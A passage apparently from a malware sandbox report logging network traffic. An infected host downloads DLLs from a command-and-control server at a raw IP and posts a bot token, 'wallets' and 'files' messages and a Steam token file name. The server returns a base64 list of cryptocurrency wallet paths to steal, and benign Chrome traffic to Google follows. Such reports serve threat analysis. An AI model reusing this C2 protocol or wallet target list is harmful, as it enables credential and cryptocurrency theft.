Oct 31, 2024 17:26:31.048676014 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 31, 2024 17:26:32.811722994 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 17:26:33.089975119 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 31, 2024 17:26:33.295727015 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 17:26:33.573525906 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 31, 2024 17:26:34.057872057 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 17:26:34.834501028 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:34.884572029 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"wallets------HJEHIJEBKEBFBFHIIDHI--
Oct 31, 2024 17:26:35.165234089 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 31, 2024 17:26:35.168833971 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="message"files------DBKFIDAAEHIEGCBFIDBF--
Oct 31, 2024 17:26:35.449747086 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:35.463150978 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file"------GCGIDGCGIEGDGDGDGHJK--
Oct 31, 2024 17:26:36.231059074 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:36.258126020 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="message"ybncbhylepme------IDAAKEHJDHJKEBFHJEGD--
Oct 31, 2024 17:26:36.539530039 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 17:26:36.541117907 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBFHDHJKKJDHJJJJKEGH--
Oct 31, 2024 17:26:37.468859911 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	142.250.185.196	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:13 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 16:26:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-TfzRCv1K9zgNxz_wHY4fSg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 16:26:13 UTC	112	IN	Data Raw: 33 33 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 61 72 61 62 61 6f 20 63 75 70 20 71 75 61 72 74 65 72 20 66 69 6e 61 6c 20 64 72 61 77 22 2c 22 6d 61 72 69 6f 20 6b 61 72 74 20 38 20 64 65 6c 75 78 65 20 68 61 70 70 79 20 6d 65 61 6c 20 74 6f 79 73 22 2c 22 73 6b 69 6d 73 20 68 6f 6c 69 64 61 79 20 63 6f 6c 6c 65 63 74 69 6f 6e 22 Data Ascii: 339)]}'["",["carabao cup quarter final draw","mario kart 8 deluxe happy meal toys","skims holiday collection"
2024-10-31 16:26:13 UTC	720	IN	Data Raw: 2c 22 70 6f 6b c3 a9 6d 6f 6e 20 74 72 61 64 69 6e 67 20 63 61 72 64 20 67 61 6d 65 20 70 6f 63 6b 65 74 22 2c 22 64 65 61 64 70 6f 6f 6c 20 61 6e 64 20 77 6f 6c 76 65 72 69 6e 65 20 64 69 73 6e 65 79 2b 22 2c 22 72 79 61 6e 20 72 65 79 6e 6f 6c 64 73 20 72 6f 62 20 6d 63 65 6c 68 65 6e 6e 65 79 20 77 72 65 78 68 61 6d 22 2c 22 6c 61 73 74 20 62 6c 6f 63 6b 62 75 73 74 65 72 20 62 65 6e 64 20 6f 72 65 67 6f 6e 22 2c 22 68 75 72 72 69 63 61 6e 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 Data Ascii: ,"pokmon trading card game pocket","deadpool and wolverine disney+","ryan reynolds rob mcelhenney wrexham","last blockbuster bend oregon","hurricanes tropical storms"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:g
2024-10-31 16:26:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	142.250.185.196	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:13 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 16:26:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 16:26:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 16:26:13 UTC	336	IN	Data Raw: 32 32 62 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 22b0)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe 